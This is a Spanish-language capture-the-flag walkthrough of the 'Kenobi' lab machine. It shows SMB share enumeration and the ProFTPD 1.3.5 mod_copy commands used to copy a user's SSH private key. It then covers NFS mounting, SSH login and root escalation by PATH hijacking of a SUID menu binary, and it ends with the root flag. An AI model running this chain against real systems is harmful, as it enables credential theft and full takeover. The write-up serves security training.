        anonymous                                         READ ONLY
        IPC$                                              NO ACCESS       IPC Service (kenobi server (Samba, Ubuntu))
```

me conecto al recurso anonimo:

```
smbclient //10.10.163.243/anonymous -N
```

luego listo los archivos

```
        smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019
```

luego , recupero el archivo a la maquina

```
  mb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (8,0 KiloBytes/sec) (average 8,0 KiloBytes/sec)
```

Buscamos las vulnerabilidades del proftp luego de revisar el log.txt debido a que encontramos la ruta de lo que son las credenciales RSA para ingresar por ssh

```
searchsploit  ProFTPD 1.3.5

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                    | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                          | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                      | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                    | linux/remote/36742.txt
```

de los 4 el que nos conviene para estos casos es el filecopy

lo descargamos,

```
searchsploit -m linux/remote/36742.txt
```

a ejecutar el Filecopy

primero abrimos una conexion con netcat ip a atacar espacio puerto

```
nc 10.10.163.243 21
```

luego ejecutamos los comandos que venian indicados en el archivo

```
┌──(kali㉿kali)-[~/Desktop/kenobi]
└─$ nc 10.10.163.243 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.163.243]
SITE CPFR /home/kenobi/.ssh/id_rsa  <= direccion en el log.cat
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa <= Directorio donde los alojamos
250 Copy successful
```

```
 sudo mkdir /kenobi  <= Creamos un directorio en nuestra maquina (puede ser cualquiera)
```

Montamos la carpeta del equipo remoto , donde est`an los certificados a la carpeta que creamos

```
 sudo mount 10.10.163.243:/var/tmp /kenobi
```

copiamos los certificados a la carpeta que tenemos generada en el Desktop

```
 cp id_rsa /home/kali/Desktop/kenobi
```

le agregamos privilegios adecuados,

```
 ┌──(kali㉿kali)-[/kenobi]
└─$ sudo chmod 600 id_rsa
[sudo] contraseña para kali:
```

luego de este proceso nos conectamos:

```
┌──(kali㉿kali)-[~/Desktop/kenobi]
└─$ ssh -i id_rsa kenobi@10.10.163.243
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
```

luego de conectarnos , no detectamos nada usual , durante un tiempo , hasta que decidimos buscar accesos de root no usuales usando el comando:

```
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
```

detectamos un acceso poco usual en la ruta /usr/bin/menu
ejecutamos y nos encontramos con un menu que nos indica 3 opciones y ejecuta 3 comandos roots , yo usare la opcion 3 que es ifconfig

```
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
```

```
kenobi@kenobi:~$ echo /bin/bash > ifconfig
kenobi@kenobi:~$ chmod 777 ifconfig
kenobi@kenobi:~$ export PATH=.:$PATH
kenobi@kenobi:~$ echo $PATH
.:/tmp:/tmp:/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
```

ejecutamos nuevamente la ruta

```
kenobi@kenobi:~$ /usr/bin/menu
```

Seleccionamos la opcion 3 que es la de ifconfig , y voila tenemos accesos de root para buscar la ultima flag.

```
***************************************
1. status check
```

```
2. kernel version
3. ifconfig
** Enter your choice :3
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
```

ahora siendo root buscamos la flag que nos queda.

```
root@kenobi:~# cd /root
root@kenobi:/root# ls
root.txt
root@kenobi:/root# cat root.txt
177b3cd8562289f37382721c28381f02
```